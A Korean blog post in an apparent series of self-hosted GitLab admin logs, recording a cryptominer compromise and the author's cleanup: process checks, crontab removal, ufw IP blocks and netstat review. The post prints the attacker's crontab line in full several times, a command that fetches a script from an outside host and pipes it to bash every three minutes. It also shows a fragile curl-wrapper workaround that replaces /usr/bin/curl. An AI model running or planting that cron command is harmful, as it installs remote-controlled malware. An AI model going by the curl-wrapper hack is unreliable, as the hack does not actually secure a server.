상세 컨텐츠

본문 제목

gitlab 서버 관리 일지 - 3

개발이야기/Gitlab

by mycatdid0 2022. 5. 30. 18:24

본문

반응형

(포스팅 2022.05.30)

- 관련 리스트
gitlab 서버 관리 일지 - 5
gitlab 서버 관리 일지 - 4
gitlab 서버 관리 일지 - 3
gitlab 서버 관리 일지 - 2
gitlab 서버 관리 일지 - 1

 

- 목차
2022년 5월 23일. Gitlab이 다시 해킹됨
2022년 5월 27일. Gitlab 서버 이상. 해킹 방어.

 

2017회사에서는 자체적으로 gitlab 서버를 운용하고 있습니다.

서버의 관리 기록을 포스팅합니다.

 

이번 포스팅에서는 Gitlab 서버가 해킹된 것을 발견하고 문제를 해결하는 과정입니다.

 

이전 포스팅은 아래와 같습니다.

https://mycatdid0.tistory.com/36

 

gitlab 서버 관리 일지 - 2

(포스팅 2022.05.30) 2017회사에서는 자체적으로 gitlab 서버를 운용하고 있습니다. 서버의 관리 기록을 포스팅합니다. 이번 포스팅에서는 Gitlab 서버가 해킹된 것을 발견하고 문제를 해결하는 과정입

mycatdid0.tistory.com

 


2022년 5월 23일. Gitlab이 다시 해킹됨

시스템을 점유하는 프로세스 확인.

20584 git       20   0 2481820 2.316g   4728 S 400.0  7.4  14039:57 qwerty		****> 이거
 8936 git       20   0 2452564 2.293g   3248 S 182.4  7.3  51:22.71 hQPjcIGD	****> 이거
26043 git       20   0 2452652 2.293g   3708 S 182.4  7.3  10027:19 rsYhybAf	****> 이거
16273 root      20   0   45664   4220   3344 R   5.9  0.0   0:00.02 top
    1 root      20   0  225552   9112   6496 S   0.0  0.0   0:16.26 systemd
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.01 kthreadd

 

crontab에 해킹관련 스크립트를 확인하고 제거함.

ㅁㅁㅁㅁㅁ@ㅁㅁㅁㅁㅁ-git:~$ sudo crontab -u git -l
*/3 * * * * (curl -s 89.44.9.246/ioi||wget -q -O- 89.44.9.246/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("89.44.9.246/ioi").read()')| bash -sh

ㅇ 스크립지우고 gitlab 다시 시작함
sudo crontab -u git -r
sudo gitlab-rake gitlab:check
sudo gitlab-ctl reconfigure
sudo gitlab-ctl restart

 

시스템 로그인 기록 확인시 이상 없음.

aaaaa@aaaaa-git:~$ last
aaaaa    pts/0        192.168.0.132    Mon May 23 09:10   still logged in
aaaaa    pts/2        192.168.0.132    Fri May 20 14:13 - 17:37  (03:23)
aaaaa    pts/1        192.168.0.132    Fri May 20 13:47 - 17:37  (03:49)
aaaaa    pts/0        192.168.0.132    Fri May 20 13:43 - 14:53  (01:09)
aaaaa    tty7         :0               Fri May 20 13:41    gone - no logout
reboot   system boot  4.15.0-50-generi Fri May 20 13:41   still running
aaaaa    pts/1        192.168.0.132    Fri May 20 13:32 - 13:39  (00:07)
aaaaa    pts/0        192.168.0.132    Fri May 20 13:15 - 13:39  (00:23)
aaaaa    tty7         :0               Fri May 20 13:14 - 13:39  (00:24)
reboot   system boot  4.15.0-50-generi Fri May 20 13:14 - 13:39  (00:25)

 

crontab 의 로그를 확인하여 스크립트가 수정된 시점 확인

aaaaa@aaaaa-git:~/test$ grep -i cron syslog.3
....
May 21 04:30:05 aaaaa-git postfix/sendmail[17081]: fatal: open /etc/postfix/main.cf: No such file or directory
May 21 04:30:05 aaaaa-git CRON[17068]: (aaaaa) MAIL (mailed 633 bytes of output but got status 0x004b from MTA#012)
May 21 04:35:01 aaaaa-git CRON[17685]: (aaaaa) CMD (/home/aaaaa/duckdns/duck.sh)
May 21 04:35:06 aaaaa-git cron[786]: sendmail: fatal: open /etc/postfix/main.cf: No such file or directory
May 21 04:35:06 aaaaa-git postfix/sendmail[17702]: fatal: open /etc/postfix/main.cf: No such file or directory
May 21 04:35:06 aaaaa-git CRON[17684]: (aaaaa) MAIL (mailed 633 bytes of output but got status 0x004b from MTA#012)
May 21 04:38:21 aaaaa-git crontab[18264]: (git) LIST (git)
May 21 04:38:21 aaaaa-git crontab[18268]: (git) REPLACE (git)   ****> 누군가가 수정을 했다.
May 21 04:38:36 aaaaa-git crontab[20722]: (git) LIST (git)
May 21 04:39:01 aaaaa-git CRON[20860]: (git) CMD ((curl -s 89.44.9.246/ioi||wget -q -O- 89.44.9.246/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("89.44.9.246/ioi").read()')| bash -sh)
May 21 04:39:03 aaaaa-git crontab[21037]: (git) LIST (git)
May 21 04:39:04 aaaaa-git crontab[21237]: (git) LIST (git)

 

방화벽으로 스크립트에 포함된 IP를 차단하였습니다.

aaaaa@aaaaa-git:/$ sudo crontab -u git -l
*/3 * * * * (curl -s 89.44.9.246/ioi||wget -q -O- 89.44.9.246/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("89.44.9.246/ioi").read()')| bash -sh
ㅡ> 해당 IP 차단

aaaaa@aaaaa-git:~/test$ sudo ufw deny from 89.44.9.246
규칙이 업데이트됐습니다

일전에 있던 사이트도 확인하여 차단
*/3 * * * * (curl -fsSL run.psybnc.org/ioi||wget -q -O- run.psybnc.org/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("run.psybnc.org/ioi").read()')| bash -sh

aaaaa@aaaaa-git:~$ nslookup psybnc.org
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
Name:   psybnc.org
Address: 88.198.63.164
Name:   psybnc.org
Address: 2a01:4f8:221:430d::2

aaaaa@aaaaa-git:~$ sudo ufw deny from 88.198.63.164
규칙이 추가되었습니다

aaaaa@aaaaa-git:~$ sudo ufw status
상태: 활성

목적                         동작          출발
--                         --          --
Anywhere                   DENY        89.44.9.246
Anywhere                   DENY        88.198.63.164

 


2022년 5월 27일. Gitlab 서버 이상. 해킹 방어.

 

Gitlab 서버가 다시 접속이 안되기 시작하였습니다.
이미 서버의 업그레이드까지 마친 상태이므로, 지난번 해킹당했던 흔적을 찾는 작업부터 시작하였습니다.

 

프로세스를 검사하여 증상을 찾음.

24967 git       20   0 2473628 2.316g   4512 S 747.1  7.4   1384:06 qwerty		****> 이거
 9948 root      20   0   45672   4108   3260 R  11.8  0.0   0:00.02 top
 1686 aaaaa     20   0 3685480 113752  57348 S   5.9  0.3  11:50.49 cinnamon
22119 git       20   0 1059044 461064  22004 S   5.9  1.4   2:50.70 bundle
    1 root      20   0  225552   9112   6496 S   0.0  0.0   0:37.04 systemd
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.05 kthreadd

 

crontab 의 설정도 살아남을 확인

ㅁㅁㅁㅁㅁ@ㅁㅁㅁㅁㅁ-git:~$ sudo crontab -u git -l
*/3 * * * * (curl -s 89.44.9.246/ioi||wget -q -O- 89.44.9.246/ioi||python -c 'import urllib2 as fbi;print fbi.urlopen("89.44.9.246/ioi").read()')| bash -sh

 

방화벽 이상 없음.

ㅁㅁㅁㅁㅁ@ㅁㅁㅁㅁㅁ-git:~$ sudo ufw status
상태: 활성

목적                         동작          출발
--                         --          --
Anywhere                   DENY        89.44.9.246
Anywhere                   DENY        88.198.63.164

 

인터넷 접속되어있는 포트를 검사하여, 의심스런 주소에서의 접속을 차단하였습니다.

aaaaa@aaaaa-git:~$ netstat -at
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
((중략))
tcp        0      0 localhost:9168          localhost:33360         ESTABLISHED
tcp        0      1 aaaaa-git:49830         vmi713866.contabos:ircd SYN_SENT
tcp        0      0 aaaaa-git:58064         149.57.209.236:909      ESTABLISHED         ****> 인터넷 서비스 제공업체: Sprint
tcp        0      0 localhost:9168          localhost:45988         ESTABLISHED
tcp        0      0 localhost:44458         localhost:9236          ESTABLISHED
tcp        0      0 aaaaa-git:ssh           168.138.133.156:35462   ESTABLISHED         ****> 인터넷 서비스 제공업체: Oracle Cloud
tcp        0      0 localhost:45988         localhost:9168          ESTABLISHED
((중략))

aaaaa@aaaaa-git:~$ sudo ufw deny from 149.57.209.236/24
WARN: 보통화를 한 후에 규칙이 바뀌었습니다
규칙이 추가되었습니다

aaaaa@aaaaa-git:~$ sudo ufw deny from 168.138.133.156/24
WARN: 보통화를 한 후에 규칙이 바뀌었습니다
규칙이 추가되었습니다

aaaaa@aaaaa-git:~$ sudo ufw status
상태: 활성

목적                         동작          출발
--                         --          --
Anywhere                   DENY        89.44.9.246
Anywhere                   DENY        88.198.63.164
Anywhere                   DENY        149.57.209.0/24
Anywhere                   DENY        168.138.133.0/24

 

스크립트에 포함된 curl 명령에서, 특정 IP에 대하여 동작하지 않도록 하였습니다.

기존의 curl 을 별도의 파일로 변경하고, curl 스크립트를 만들어 특정 IP를 거부하도록 한다.

aaaaa@aaaaa-git:~$ whereis curl
curl: /usr/bin/curl /usr/share/man/man1/curl.1.gz

aaaaa@aaaaa-git:/usr/bin$ sudo cp curl curl_220527
aaaaa@aaaaa-git:/usr/bin$ ls -al curl*
-rwxr-xr-x 1 root root 223304  9월  6  2019 curl
-rwxr-xr-x 1 root root 223304  5월 27 15:24 curl_220527

aaaaa@aaaaa-git:/usr/bin$ cat curl
#!/bin/bash
if [[ "$2" =~ "89.44.9.246" ]]
then
        exit
fi
curl_220527 $@

테스트함
aaaaa@aaaaa-git:/usr/bin$ curl -s 89.44.9.246/ioi
ㅡ> 해당 IP가 포함되면 응답 없음.
aaaaa@aaaaa-git:/usr/bin$

 

분석결과, 특정 파일을 사용한다는 것을 발견하여, 이 파일을 '삭제불가능한 dummy 파일'로 overwrite 하여 해킹 스크립트가 동작하지 않도록 하였습니다.

aaaaa@aaaaa-git:/tmp$ sudo rm -r -f .qwerty
aaaaa@aaaaa-git:/tmp$ echo > .qwerty
aaaaa@aaaaa-git:/tmp$ sudo chmod a-rwx .qwerty
aaaaa@aaaaa-git:/tmp$ sudo chown root:root .qwerty
aaaaa@aaaaa-git:/tmp$ sudo lsattr .qwerty
--------------e--- .qwerty

 

며칠 후 확인 결과, 몇개의 임시 Pipe-file을 찾을 수 있었습니다. 이들은 dummy파일에 write 하다가 실패한 흔적으로 추정됩니다.

aaaaa@aaaaas-git:/tmp$ ls -alt
합계 340
drwxrwxrwt 79 root root 20480  5월 30 12:22 .
prw-r--r--  1 git  git      0  5월 30 12:22 tmp.6dfBZtwx8b
prw-r--r--  1 git  git      0  5월 30 11:42 tmp.g9WGmvgxQh
prw-r--r--  1 git  git      0  5월 30 11:36 tmp.pijLLUHfge
prw-r--r--  1 git  git      0  5월 30 11:29 tmp.vum5htADja
prw-r--r--  1 git  git      0  5월 30 11:17 tmp.pOc6s772aw
prw-r--r--  1 git  git      0  5월 30 11:06 tmp.xQuC7ZSoPj
drwx------  2 git  git   4096  5월 30 09:42 gitaly-ruby738625740
drwx------  2 git  git   4096  5월 30 09:42 gitaly-ruby056116117
drwx------  2 git  git   4096  5월 30 09:42 gitaly-ruby148964300
drwx------  2 git  git   4096  5월 30 09:41 gitaly-ruby098665352
((중략))

 

포스팅은 여기까지입니다.

감사합니다.

반응형

'개발이야기 > Gitlab' 카테고리의 다른 글

gitlab 서버관리 일지 - 5  (0) 2022.07.27
gitlab 서버 관리 일지 - 4  (0) 2022.07.13
gitlab 서버 관리 일지 - 2  (0) 2022.05.30
gitlab 서버 관리 일지 - 1  (0) 2022.05.30

관련글 더보기

댓글 영역